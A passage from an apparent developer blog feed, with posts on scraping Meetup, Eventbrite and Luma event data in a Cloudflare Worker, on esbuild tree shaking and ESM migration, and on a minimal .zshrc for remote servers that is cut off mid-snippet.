&lt;p&gt;Then I realized that the &lt;code&gt;meetup.com&lt;/code&gt; markup had some specific &lt;code&gt;JSON&lt;/code&gt; blocks,
called &lt;a href=&quot;https://json-ld.org/&quot;&gt;JSON-LD&lt;/a&gt;, that had most of the data I needed. Ok,
so let&#39;s understand the schema, and extract what I need from that. Some keys are
easier to access from this JSON (like the &lt;code&gt;startDate&lt;/code&gt; and &lt;code&gt;endDate&lt;/code&gt;) while
others are still better in the HTML (&lt;code&gt;description&lt;/code&gt; is truncated in the JSON for
example). No problem, let&#39;s build an hybrid approach.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-json&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  &quot;@context&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;https://schema.org&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  &quot;@type&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;Event&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  &quot;name&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;HumanTalks Paris Novembre 2024&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  &quot;url&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;https://www.meetup.com/humantalks-paris/events/304412456/&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  &quot;description&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;Hello everyone!&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;&#92;n&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;This month we wanted to thank **Algolia** for hosting us.&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  &quot;startDate&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;2024-11-12T18:45:00+01:00&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  &quot;endDate&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;2024-11-12T21:30:00+01:00&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  &quot;eventStatus&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;https://schema.org/EventScheduled&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  &quot;image&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;: [&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;        &quot;https://secure-content.meetupstatic.com/images/classic-events/524553157/676x676.jpg&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;        &quot;https://secure-content.meetupstatic.com/images/classic-events/524553157/676x507.jpg&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;        &quot;https://secure-content.meetupstatic.com/images/classic-events/524553157/676x380.jpg&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  ],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  &quot;eventAttendanceMode&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;https://schema.org/OfflineEventAttendanceMode&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  &quot;location&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;        &quot;@type&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;Place&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;        &quot;name&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;Algolia&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;        &quot;address&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;          &quot;@type&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;PostalAddress&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;          &quot;addressLocality&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;Paris&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;          &quot;addressRegion&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;          &quot;addressCountry&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;fr&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;          &quot;streetAddress&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;5 rue de Bucarest, Paris&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;        },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;        &quot;geo&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;          &quot;@type&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;GeoCoordinates&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;          &quot;latitude&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;48.880684&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;          &quot;longitude&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;2.326596&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;        }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  &quot;organizer&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;        &quot;@type&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;Organization&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;        &quot;name&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;HumanTalks Paris&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;        &quot;url&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;https://www.meetup.com/humantalks-paris/&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Ok, now for the list of attendees. Oh, it&#39;s not in the markup, it&#39;s actually
fetched from the front-end dynamically and added to the page. It seems to be
doing a GraphQL query and getting the list of all attendees. All I have to do is
replicate that query from my Cloudflare Worker. Thankfully, both the &lt;code&gt;URL&lt;/code&gt; and
the required query ID are available in the initial page. I just need to handle
pagination of the results (as they are only returned by chunks of 50).&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/img/files/2025-01-15-hidden-complexity-just-a-few-lines-of-code/01-79418f28d6.png&quot; alt=&quot;Browser devtools showing the JSON data of a Meetup event, with its date, venue and RSVP counts&quot;&gt;&lt;/p&gt;
&lt;h2&gt;Testing&lt;/h2&gt;
&lt;p&gt;At that point, my code was obviously a bit more than just a few lines of code. I
had to extract data from three different sources: HTML source, JSON LD and a
GraphQL API.&lt;/p&gt;
&lt;p&gt;That&#39;s when I started to add some unit tests. The number of edge cases was
starting to increase, and I wanted to be sure that when I fixed one, I didn&#39;t
end up breaking another.&lt;/p&gt;
&lt;h2&gt;Error Handling&lt;/h2&gt;
&lt;p&gt;As I spent a few days working on that, I also realized that meetups that have
passed are no longer accessible (unless you&#39;re logged in). That means I also
needed to add some error handling for those cases. Also, some meetups can
disable the fetching of the attendee list, even if the meetup itself is public.
I also needed to handle that case gracefully.&lt;/p&gt;
&lt;h2&gt;More sources&lt;/h2&gt;
&lt;p&gt;The project worked well, and really helped us internally plan for meetups. But
then we had to host a meetup hosted on Eventbrite. And one on Luma. So I had to
go back to my code again and see how to make my code work with those other
platforms.&lt;/p&gt;
&lt;p&gt;I had to re-organize my code, to have some shared helpers (like for parsing HTML
with &lt;code&gt;cheerio&lt;/code&gt; or for extracting JSON LD), but still keep per-source unit test
and logic.&lt;/p&gt;
&lt;p&gt;I also had to handle some source-specific issues. For example Eventbrite has no
visible attendee list, and the HTML returned by Luma is different based on the
&lt;code&gt;User-Agent&lt;/code&gt; passed. Many things are the same, but many others are different.
That&#39;s when having unit tests really started to shine. I could be sure that I
could fix something for Eventbrite, without breaking Luma. This would have been
a nightmare to test manually.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/img/files/2025-01-15-hidden-complexity-just-a-few-lines-of-code/02-844fa93d4a.png&quot; alt=&quot;Terminal output of 14 passing test files and 29 passing tests&quot;&gt;&lt;/p&gt;
&lt;h2&gt;What I learned&lt;/h2&gt;
&lt;p&gt;An important lesson I learned was to make endpoints that were as generic as
possible. Initially I had an endpoint for getting the description, another for
getting the dates, etc. But I realized it was much easier (from a code POV, as
well as a user POV), to have one endpoint that returned everything.&lt;/p&gt;
&lt;p&gt;I still kept the list of attendees behind a flag (so, &lt;code&gt;off&lt;/code&gt; by default, but if
you need them you turn it on on the request), as it was the slowest part of the
request and also the most prone to fail (on Eventbrite, or on past Meetup pages
for example).&lt;/p&gt;
&lt;p&gt;This &amp;quot;Oh, it&#39;s just going to be a simple proxy to grab 2 or 3 pieces of data&amp;quot;
turned into a much more complex beast, but I like it. From the outside, I
managed to keep it simple (just one API endpoint), and from the inside I have
enough tests and shared code that it&#39;s relatively easy to make it evolve.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>My journey through the ESM Tree Shaking forest</title>
    <link href="https://blog.pixelastic.com/2025/01/14/journey-esm-tree-shaking/"/>
    <updated>2025-01-14T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2025/01/14/journey-esm-tree-shaking</id>
    <content type="html">&lt;p&gt;&lt;img src=&quot;/img/files/2025-01-14-journey-esm-tree-shaking/header.png&quot; alt=&quot;Illustration of a forest of dark pillars topped with orange clouds&quot;&gt;&lt;/p&gt;
&lt;p&gt;I had to work with Cloudflare Workers recently, and everything worked well until
one day one of the HTTP calls I was doing started to fail.&lt;/p&gt;
&lt;p&gt;When I ran the same piece of code locally it worked (obviously!). But pushed and
ran through Cloudflare Workers, it failed. This was the first step in what then
became a day-long trip into the rabbit hole of debugging. After a couple of
hours of debugging &amp;quot;live&amp;quot; (by pushing my code, hitting the server, and checking
logs), I finally discovered that my issue was that the HTTP endpoint I targeted
had a rate limit, based on the originating IP. And when doing calls from
Cloudflare, sharing the same IP with other workers, the IP already had hit the
limit and my calls would fail.&lt;/p&gt;
&lt;p&gt;That made me start digging into better ways to locally test CFW production code,
and I discovered the &lt;code&gt;wrangler dev&lt;/code&gt; mode. At first I thought this would spin my
code on a real remote server and broadcast the &lt;code&gt;console.log&lt;/code&gt; locally to my
terminal, but no, it&#39;s a minimal version of CFW that runs locally. Not exactly
the same as a staging env, but pretty close.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/img/files/2025-01-14-journey-esm-tree-shaking/01-806de5f47a.png&quot; alt=&quot;Terminal output of wrangler dev starting a local server, with a compatibility date warning&quot;&gt;&lt;/p&gt;
&lt;p&gt;The main difference with running my scripts locally through unit tests is that
when using &lt;code&gt;wrangler dev&lt;/code&gt;, my code is bundled with &lt;code&gt;esbuild&lt;/code&gt; and the bundled
version is executed. This opened a whole new category of problems and questions
to me.&lt;/p&gt;
&lt;p&gt;First, I realized that the bundle size was way too big for what my function was
actually doing. I had ~100 lines of code at most, but my bundle was several
megabytes of minified code. Surely, something wasn&#39;t right. By inspecting the
bundled code I realized that it had bundled all my dependencies and
subdependencies.&lt;/p&gt;
&lt;h2&gt;But, isn&#39;t it supposed to do tree shaking?&lt;/h2&gt;
&lt;p&gt;I had read that &lt;code&gt;esbuild&lt;/code&gt; was the new hotness, and that it should do tree
shaking my dependencies automatically, keeping only what I would actually use.
But somehow, it didn&#39;t seem to work.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/img/files/2025-01-14-journey-esm-tree-shaking/02-69c9ac843f.png&quot; alt=&quot;esbuild benchmark chart, where esbuild bundles in 0.39 seconds against 14.91 for parcel, 34.10 for rollup and 41.21 for webpack&quot;&gt;&lt;/p&gt;
&lt;p&gt;What I learned is that tree-shaking is not possible through the virtue of
&lt;code&gt;esbuild&lt;/code&gt; alone. Modules have to be in ESM as well (so, basically using &lt;code&gt;import&lt;/code&gt;
rather than &lt;code&gt;require&lt;/code&gt;) for it to actually work. So I updated my dependencies to
their latest versions; most of them are now ESM-compliant. I managed to upgrade
all my deps to ESM, and with that, &lt;code&gt;esbuild&lt;/code&gt; was now able to tree shake the
final bundle, reducing my filesize footprint to something 10 times smaller &#92;o/.&lt;/p&gt;
&lt;h2&gt;ESMify all the things&lt;/h2&gt;
&lt;p&gt;One of the dependencies was actually one of my own modules,
&lt;a href=&quot;https://projects.pixelastic.com/firost/&quot;&gt;firost&lt;/a&gt;, and let me tell you that
converting a CommonJS module to ESM is not a trivial task. It&#39;s certainly
doable, but it does take some time, especially when you have several intertwined
modules, some in CommonJS and others in ESM.&lt;/p&gt;
&lt;p&gt;I especially had to be careful to use named exports rather than God Objects in
my files, to avoid pulling all dependencies with a greedy import. The
restructuring of files and import was tedious and long. I also had to ditch Jest
(that does not support ESM) in favor of Vitest. I also updated ESLint to its
latest version, which finally also supports ESM!&lt;/p&gt;
&lt;h2&gt;Lodash, you&#39;re next&lt;/h2&gt;
&lt;p&gt;The only dependency I didn&#39;t manage to shave off was &lt;code&gt;lodash&lt;/code&gt;. I really like
lodash, especially the &lt;code&gt;_.chain().value()&lt;/code&gt; syntax, which I think makes
expressing complex pipelines easier. But &lt;code&gt;lodash&lt;/code&gt; still seems to be loaded as a
monolithic block, even though I&#39;m only using a few of its methods. I didn&#39;t dig
too much into how to load it in a more clever way, but that&#39;s on my TODO list.&lt;/p&gt;
&lt;p&gt;I also needed to include &lt;code&gt;cheerio&lt;/code&gt; (because my worker is doing some scraping +
HTML extraction), but couldn&#39;t find a way to load a leaner alternative (&lt;code&gt;domjs&lt;/code&gt;
is roughly the same size, and I prefer the API from &lt;code&gt;cheerio&lt;/code&gt;)&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Minimal .zshrc for remote servers</title>
    <link href="https://blog.pixelastic.com/2025/01/08/minimal-zshrc/"/>
    <updated>2025-01-08T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2025/01/08/minimal-zshrc</id>
    <content type="html">&lt;p&gt;Recently, I found myself connecting to remote machines quite often. I have to
debug remote servers for work or connect through &lt;code&gt;ssh&lt;/code&gt; to an emulation handheld
console I just bought (more posts coming on that later).&lt;/p&gt;
&lt;p&gt;But I&#39;ve configured my local &lt;code&gt;zsh&lt;/code&gt; so much that when I connect to a bare remote
server I feel a bit lost. No colors to differentiate folders and files. No
tabbing through completion. Even simple things like backspace or delete key do
not always work.&lt;/p&gt;
&lt;p&gt;So this time, I built a very minimal &lt;code&gt;.zshrc&lt;/code&gt; that I intend to &lt;code&gt;scp&lt;/code&gt; to a remote
server whenever I need to do some work there, just to make my life easier. I
tried it on the aforementioned console, and it helped a lot, so I&#39;m gonna share
it here.&lt;/p&gt;
&lt;h2&gt;Fix the keyboard&lt;/h2&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-zsh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; TERM&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;xterm-256color&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;bindkey&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &quot;^[[3~&quot;&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; delete-char&lt;/span&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;            # Delete&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;bindkey&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &quot;^?&quot;&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; backward-delete-char&lt;/span&gt;&lt;span style=&quot;color:#6B7280&quot;&gt; # Backspace&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;bindkey&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &quot;^[OH&quot;&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; beginning-of-line&lt;/span&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;  # Start of line&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;bindkey&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &quot;^[OF&quot;&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; end-of-line&lt;/span&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;             # End of line&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Starting with the basics, I ensure my terminal type is set to xterm-256color. It
should fix most keyboard issues. But just to be sure I actually did define the
keycodes for delete, backspace as well as start and end of line.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;^[&lt;/code&gt; and &lt;code&gt;^?&lt;/code&gt; chars here are not real characters, but escape characters. In
vim, you have to press &lt;code&gt;Ctrl-V&lt;/code&gt;, followed by the actual key (so, backspace, or
delete, etc) to input it correctly. I found that various servers had this mapped
differently, so you might have to manually change it if it doesn&#39;t work for you.&lt;/p&gt;
&lt;h2&gt;Completion&lt;/h2&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-zsh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;autoload&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; -Uz&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; compinit&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;compinit&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;zstyle&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;:completion:*&#39;&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; menu&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; select&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This will enable a much better completion than the default one. Now, whenever
there are several possible solutions when pressing &lt;code&gt;tab&lt;/code&gt;, the list of
possibilities will be displayed, and you can &lt;code&gt;tab&lt;/code&gt; through them as they are
getting highlighted.&lt;/p&gt;
&lt;h2&gt;Colors&lt;/h2&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-zsh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;autoload&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; -U&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; colors&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; &amp;#x26;&amp;#x26; &lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt;colors&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; COLOR_GREEN&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;2&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; COLOR_PURPLE&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;21&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; COLOR_BLUE&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;94&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; LS_COLORS&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;di=38;5;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;${COLOR_GREEN}&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;:ow=38;5;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;${COLOR_GREEN}&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;:ex=4;38;5;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;${COLOR_PURPLE}&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;:ln=34;4;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;${COLOR_BLUE}&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
